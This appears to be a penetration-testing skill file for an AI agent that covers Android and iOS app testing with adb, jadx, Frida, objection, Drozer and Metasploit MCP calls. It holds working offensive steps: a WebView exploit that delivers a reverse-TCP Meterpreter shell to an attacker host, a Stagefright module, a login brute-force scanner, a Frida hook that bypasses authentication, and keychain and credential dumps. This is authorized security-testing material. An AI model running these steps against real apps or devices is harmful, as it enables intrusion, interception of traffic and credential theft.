mobile-pentest

name	mobile-pentest
description	Guides Android and iOS application penetration testing including static/dynamic analysis, Frida hooking, certificate pinning bypass, and common mobile vulns. Use when ROE includes Android, iOS, or hybrid mobile app testing.

Mobile Pentest

Prerequisites

• Mobile app targets are explicitly in engagement ROE.
• Web API backing mobile apps: also load web-app-pentest.
• Use lab devices or authorized test builds; do not upload client APKs to untrusted online analyzers.

Workflow

Task Progress:
- [ ] Obtain app binary or test build (APK/IPA)
- [ ] Static analysis (manifest, hardcoded secrets, exported components)
- [ ] Dynamic analysis (proxy, cert pinning bypass if authorized)
- [ ] Test backend API with web-app-pentest techniques
- [ ] Document findings with platform, version, and device model

APK acquisition

MSF: No direct module; use CLI.

CLI fallback:

adb devices
adb shell pm list packages | grep keyword
adb shell pm path com.example.app
adb pull /data/app/com.example.app/base.apk

Static analysis

Decompile with apktool and jadx

MSF: No direct module; use CLI.

CLI fallback:

apktool d application.apk -o decompiled/
jadx application.apk -d jadx_out/
jadx-gui application.apk

Review: AndroidManifest.xml, strings.xml, native libs under lib/<arch>/.

MobSF (local Docker)

MSF: No direct module; use CLI.

CLI fallback:

docker run -it --rm -p 8000:8000 opensecurity/mobile-security-framework-mobsf:latest
# Upload APK at http://localhost:8000

Android MSF modules

Stagefright / browser vectors (legacy devices)

MSF MCP (preferred):

msf_search_modules(query="android")
msf_module_check(
  module_name="exploit/android/browser/stagefright_mp4_tx3g_64bit",
  engagement_id="<id>",
  module_type="exploit",
  options={"RHOSTS": "<target>", "URIPATH": "/test.mp4"}
)
msf_run_exploit(
  module_name="exploit/android/browser/webview_addjavascriptinterface",
  engagement_id="<id>",
  options={"RHOSTS": "<target>", "PAYLOAD": "android/meterpreter/reverse_tcp", "LHOST": "<attacker>", "LPORT": 4444}
)

CLI fallback:

# Most modern Android testing is Frida/proxy-based, not MSF exploit
adb shell am start -a android.intent.action.VIEW -d "http://attacker/test.mp4"

Backend service after mobile recon

MSF MCP (preferred):

msf_run_auxiliary_module(
  module_name="auxiliary/scanner/http/http_login",
  engagement_id="<id>",
  options={"RHOSTS": "<api_host>", "RPORT": 443, "SSL": true, "TARGETURI": "/api/login", "USERPASS_FILE": "/tmp/creds.txt"}
)
msf_module_check(
  module_name="exploit/multi/http/...",
  engagement_id="<id>",
  module_type="exploit",
  options={"RHOSTS": "<api_host>"}
)

CLI fallback:

# Proxy mobile traffic through Burp; test API with curl/ffuf
curl -X POST https://api.target.com/login -d '{"user":"test","pass":"test"}'

Dynamic analysis (Android)

Burp proxy setup

MSF: No direct module; use CLI.

CLI fallback:

# Configure device Wi-Fi proxy to attacker IP:8080
# Install Burp CA on device
adb push cacert.der /sdcard/

Certificate pinning bypass (Frida)

MSF: No direct module; use CLI.

CLI fallback:

pip install frida-tools objection
adb push frida-server /data/local/tmp/
adb shell "chmod 755 /data/local/tmp/frida-server && /data/local/tmp/frida-server &"
frida -U -f com.example.app -l ssl-bypass.js --no-pause
frida --codeshare pcipolloni/universal-android-ssl-pinning-bypass-with-frida -f com.example.app
objection -g com.example.app explore
# Inside objection: android sslpinning disable

Frida hook pattern:

Java.perform(function() {
  var TM = Java.use("com.android.org.conscrypt.TrustManagerImpl");
  TM.checkTrustedRecursive.implementation = function() { return Java.use("java.util.ArrayList").$new(); };
});

Frida crypto and root bypass hooks

MSF: No direct module; use CLI.

CLI fallback:

frida -U com.example.app -l hook.js
frida --codeshare akabe1/frida-multiple-unpinning -f com.example.app
frida --codeshare fridantiroot -f com.example.app

Drozer (Android IPC)

MSF: No direct module; use CLI.

CLI fallback:

drozer console connect --server 192.168.1.10:31415
run app.package.info -a com.example.app
run scanner.provider.finduris -a com.example.app
run scanner.provider.injection -a com.example.app
run app.broadcast.info -a com.example.app

iOS testing

Static (IPA)

MSF: No direct module; use CLI.

CLI fallback:

unzip application.ipa
class-dump -H Payload/App.app/App -o headers/
plutil -p Payload/App.app/Info.plist

Objection (iOS dynamic)

MSF: No direct module; use CLI.

CLI fallback:

objection -g com.example.app explore
ios sslpinning disable
ios keychain dump
ios plist cat Info.plist
ios nsurlcredentialstorage dump
ios cookies get

Frida on iOS (jailbroken)

MSF: No direct module; use CLI.

CLI fallback:

# Install frida-server on device via SSH/Cydia
frida-ps -U
frida -U -f com.example.app -l ssl_bypass.js --no-pause

# Keychain dump hook
frida -U -f com.example.app -l keychain_dump.js

# Method swizzling for auth bypass
frida -U com.example.app -l -e 'ObjC.schedule(ObjC.mainQueue,function(){var c=ObjC.classes.AuthManager;Interceptor.attach(c["- isAuthenticated"].implementation,{onLeave:function(r){r.replace(1);}});});'

iOS SSL pinning bypass (Frida)

MSF: No direct module; use CLI.

CLI fallback:

frida -U -f com.example.app --codeshare fdciabdul/PinningBypass -l PinningBypass.js
objection -g com.example.app explore
# ios sslpinning disable

Burp proxy (iOS)

MSF: No direct module; use CLI.

CLI fallback:

# Jailbroken: install Burp CA via Settings > General > About > Certificate Trust Settings
# Configure Wi-Fi HTTP proxy to attacker:8080
# For ATS exceptions check Info.plist NSAppTransportSecurity

Common mobile vulnerabilities

Vuln class	Test approach
Insecure storage	SharedPreferences, SQLite, /data/data/
Weak crypto	Hardcoded keys, ECB mode
IPC abuse	Exported activities/services
Deeplinks	adb shell am start -a android.intent.action.VIEW -d "app://path"
WebView	JavaScript enabled, addJavascriptInterface
API backend	Proxy traffic; web-app-pentest, jwt-pentest, idor-pentest

Deeplink testing

MSF: No direct module; use CLI.

CLI fallback:

adb shell am start -W -a android.intent.action.VIEW -d "myapp://callback?token=TEST" com.example.app
adb shell dumpsys activity intents | grep -i myapp

APK patching and resigning

MSF: No direct module; use CLI.

CLI fallback:

apktool d app.apk
# modify smali/manifest
apktool b app/ -o modified.apk
java -jar uber-apk-signer.jar --apks modified.apk
adb install modified-aligned-signed.apk

Related skills

• web-app-pentest - API and auth testing
• cloud-pentest - mobile backends on AWS/Azure
• jwt-pentest, idor-pentest - common mobile API vulns
• macos-pentest - shared Frida patterns on Apple platforms